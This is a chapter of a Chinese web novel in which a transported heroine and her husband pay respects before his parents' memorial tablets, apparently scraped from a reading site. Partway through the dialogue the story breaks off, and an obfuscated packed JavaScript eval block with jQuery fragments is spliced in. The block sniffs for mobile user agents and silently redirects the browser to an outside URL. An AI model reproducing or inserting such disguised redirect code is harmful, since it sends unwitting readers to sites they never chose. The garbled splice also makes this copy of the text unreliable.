默认冷灰
24号文字
方正启体

10. 第十章

作者:单波本书字数:K更新时间:
    数月已过,蔺小将还是搞不清楚阳光照到腰部那时候,到底是什么时辰?可能是正午。因为根据这些天的观察,只有在正午时分,才能听见门外那道聒噪的男音,时而高昂,时而沮丧,时而欢歌,时而吟唱,时而,气势犹如万马奔腾,时而,只是扯得人胃疼。


    不流畅,不押韵,不美妙,也不好听——这就是沈怜青的诗词。


    “小栗子。”


    蔺小将在床上翻了个身,闭着眼,望着大红幔帐,唤道:“小栗子!把会发声的所有活物,从院子里给我赶出去!”


    强权也好,专制也罢。节食引发的失眠,让她没有任何心思,去思考措辞。


    于是,对着幔帐外静若呆鸡的小栗子,她伸出手,张开手掌,示意着,把她手掌上这个看起来像是什么“军令状”的东西递出去。


    那半炷香还没点完,外面便彻底安静了。


    福清嬷嬷给她的家印,果然好用。想起新婚第二天,檐上雪融,天晴日好的光景,她被小栗子催促着,穿戴整齐前去请安。那时,她还有些不悦,心想:“给谁请安?不是无父母吗?”难道是沈怜青昨晚被赶出去,心生愤恨,想了什么好法子来磋磨她吗。


    然而,小栗子为她换上外衣时,注道:“郡爷秉性柔和,昨晚出来后,静静地在偏房住下了,除了我在院门前守着,也没人知道这事。”


    见她没回话。小栗子又道:“请安前,夫人——”


    “夫人?”


    “小姐您都结婚了。自然是夫人了。”


    蔺小将抖抖肩膀,显然还不太习惯被伺候。小栗子走开,又为她端来一个方盘,上菜似的,只是里面放的,是一个被包裹得严严实实的小方盒子。


    像仙豆糕。


    虽说已瘦了不少,也算得上脱胎换骨,只是大腿和肚子的赘肉实在碍事,她还是要抓紧着把它们从这副身体上揪下来。此刻饿得头重脚轻,她也只是紧紧扶了一把床梁,定一定后,立即连珠炮似的问:“去跟谁请安?这是什么?沈怜青呢?”


    “向福清嬷嬷请安。”


    “这是福清嬷嬷送来的,务必要您亲收。”


    “夫人,您,您应唤郡爷‘郎君’。”


    蔺小将:“哦。那个叫沈怜青的‘郎君’呢?”


    ……


    小栗子苦涩一笑,道:“郡爷在外头等着您呢。郡王府没有轿辇,您和郡爷,夫妇二人携手过去,也好让郡王府上下,共赏这琴瑟和鸣的好景。”


    这是什么语言系统包更新了吗?蔺小将总觉得,这小年画娃娃如此大变的语言风格,显然是在提示她:“郡王府可不是什么好玩的地方。”


    于是,她穿上那双金丝锈的桃红重台履,系好火红大氅上的果绿系带,又望了一遍镜子,就这么色彩缤纷地穿着,然后,小心翼翼地,由小栗子打开门,她提着十二分精神,走了出去。


    果然,沈怜青就在院子正中的亭子坐等着。


    等她来到他面前,他抬头,蹙眉,垂眼,就差没把“好俗”这两字从嘴里蹦出来。


    但她视而不见。毕竟她也觉得箱笼里那些衣服真没一件能穿的,现在条件有限,只能以后慢慢替换。姑奶奶挽春好像门路很广,也许到时要添置新衣,找些好玩意儿,她能帮上忙。只是小栗子也说了,姑奶奶家住南边,轻易不进京,昨日待她出阁,姑奶奶便带着一行人等,出发回南了。


    还算是这个世界里的第一个好朋友。以后不知道能不能再见?


    昨夜睡得不好,思绪飘摇,出了神,直至沈怜青唤她道:“娘子!”


    她通体忽感一阵恶寒,回神过来,只见一只宽大的手已握住她的手掌,满地积雪里,他白衣胜雪,笑如春风,道:“娘子,在想什么?”


    这位温柔美人是谁?沈怜青?


    是那个昨晚还臭着那张俊脸,恨不得用鼻孔看她,分外疏离地唤她:“林颜君小姐。”的沈怜青吗?不。孪生兄弟也没长那么像的。


    而他身旁两位像是随从的人物,还有小栗子,显然被这甜甜蜜蜜的美好图景齁住嗓子了,三人一同从嗓子眼里发出了低低的,在她耳朵里听起来简直是靡靡之音的低笑声。


    她想立即抽出手,沈怜青却握得更紧,仍微笑道:“雪地路滑,我牵着你,会好些。娘子。”


    虽万般不情愿,仔细想想,也没有拒绝的理儿,索性让他牵了。只是他一面走,还一面和她有一搭没一搭地说起话来。而且,说的都是谎话。


    “你昨晚睡下觉着冷?我见你总缩着。”


    “半夜我起来将床头红烛挪一挪,可吵到你了吗?”


    “娘子——”


    她抬起头,正想暗暗瞪他一眼。见到他那张纯真无邪的笑脸,又垂下了头,看看自己这一身火红戎装,大氅上那不安分的绒毛总是飘到他雪白的袖口去,纠缠着,吊诡的,好像一只仙鹤牵着一只火鸡。仙鹤没了仙气,火鸡也没那么俗气,整一铁锅大乱炖,要是再烧红了眼彼此跳起来,那场景更不好看。


    算了,忍一忍。她想:“以前对那些个搞人设上瘾的奶油小生,不也是这么过来的吗。”


    只是他这贤夫良婿的隐实在太过,她跨步上阶,因不适应那高台履,险些往前一仰,在那之前,他已将她整个人揽入怀中。然后,打横,是的,打横后,他把她一整个僵硬得像案板上的冻鱼的身体,完全抱着,走了起来。


    “放下来。”


    她在他怀中声如细蚊。面如铁色。


    “进去之后——”


    他始终微笑,但低下头,在她耳边,竟像警告:“请少说话,娘子。”


    只是这副身体似乎听力一般,她什么都没听清,就被一双手推着,赶着,进了门。长阶之上,大门敞开,正对着门放两张太师椅,顶上是高挂的经幡,椅后左右两旁,各放了两个牌位,供香奉花,四时瓜果,满屋肃穆之风。


    结婚?请安?还是——“扫墓”?


    被此等场景雷到怔在原地的蔺小将,的确一句话也说不出来了。直至沈怜青关了门,唤住从那佛台后缓缓转出的一位妇人,道:“福清嬷嬷。”


    蔺小将方紧跟着唤道:“福清嬷嬷。”


    从前在后台当新人时,不管谁,叫谁就跟着喊。习惯成本能,难改。


    福清嬷嬷颔首,倒先牵住了她,笑道:“夫人,老身给您的东西,可收好了吗?”


    那块“仙豆糕”?


    “收好了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285955|198438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她礼貌地笑一笑。就是还没拆开看那到底是什么东西。


    沈怜青忽然不太友好地瞥她一眼,目光又回到福清嬷嬷身上,叉手低腰请了安,恭敬道:“嬷嬷,我携娘子前来和父亲母亲请安,有劳嬷嬷为我和娘子各备清香。”


    这张笑意浅浅的女人面孔,约莫五十岁上下,肤色白,纹路少,眼神灵,端正的方脸,协调的五官,也许是因为爱笑的缘故,偏偏眼角周围沟壑横生,才让人摸出了年岁。只是她走路如风,立身如松,低腰拈香,屈膝行礼,若不仔细看那眼下,其实,更像是一个高大的年轻女人。


    她将香递给蔺小将时,出了声,笑道:“夫人,请。”


    那声音,更是浑圆有力。蔺小将未反应过来,便见她笑着握过她的双手,放在掌心,摩挲了会儿,道:“去吧。好夫人,好孩子,向您的公婆见礼。”


    蔺小将望向前方,那两个牌位之下,沈怜青已经跪倒在前,紧闭双目,长睫轻抖。她跪在他身旁时,忍不住侧目望了望,心道上天真是瞎眼,那弧度漂亮到几近失真的直鼻,怎么就长在这个拿婚房当书房的自恋男身上了呢。又想起那张贴在墙上的诗词,忽然心中一笑:“不,上天也是有眼的,这人的脸,是拿才华换的。”


    这香上得实在不算诚心。站得远的福清嬷嬷眼神灵光,待蔺小将上香完,和沈怜青执手走来时,她再次牵过蔺小将的手放在手中,轻轻地抚摸着,牵引着,牵她到其中一把太师椅上坐下,蔺小将觉得坐在两个牌位前有些奇怪,下意识就想站起来。


    “请坐着。夫人。”


    福清嬷嬷说完,便跪倒在地,道:“夫人,从此后您是郡王府主事,老身今日在此,恳求您为老身做主,从此,好好管教我们的郡爷。”


    “什么?”


    蔺小将茫然到脱口而出。


    什么主事?怎么管教?蔺小将看向在另一把太师椅上坐下来的沈怜青,显然也呆若木鸡,一时间,两人坐着,一人跪着,沉默了好一会儿。


    “那个……您,您先起来。”


    蔺小将终于看不下去了,总不能让一个按年龄都能当自己妈的人跪在自己面前吧。这真折寿啊折寿。于是,她尴尬得像在打圆场,扶着福清嬷嬷起来,只是刚一将手伸出去,福清嬷嬷便弹地而起,脸上笑意顿时消失得无影无踪。甚至,浓眉紧锁,便向沈怜青走去。


    “郡爷,我不是已吩咐书心提醒过您了吗?”


    沈怜青这时还端坐着,淡淡地回道:“提醒,什么?”


    “啊!”


    但是,蔺小将却感觉不妙。她轻轻挪脚,后退了一步。


    “啊!郡王啊!您——”


    随着一声惊天动地的哀嚎声,蔺小将险些没从那双高台履上摔落,略略站住,定神之后,只见那福清嬷嬷,欲哭无泪地,又跪倒在那牌位前。


    “请您看看!郡王!大婚第二日,郡爷便穿一身白,这是何道理?”


    她是在跟谁说话?


    蔺小将生出这个疑问,属实正常。毕竟,在她说完那一刻,牌位上左边那盏烛灯,好像,晃了一晃。


    “嬷嬷,你有什么话,只对我说便是。”


    幸好,也没真灭了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)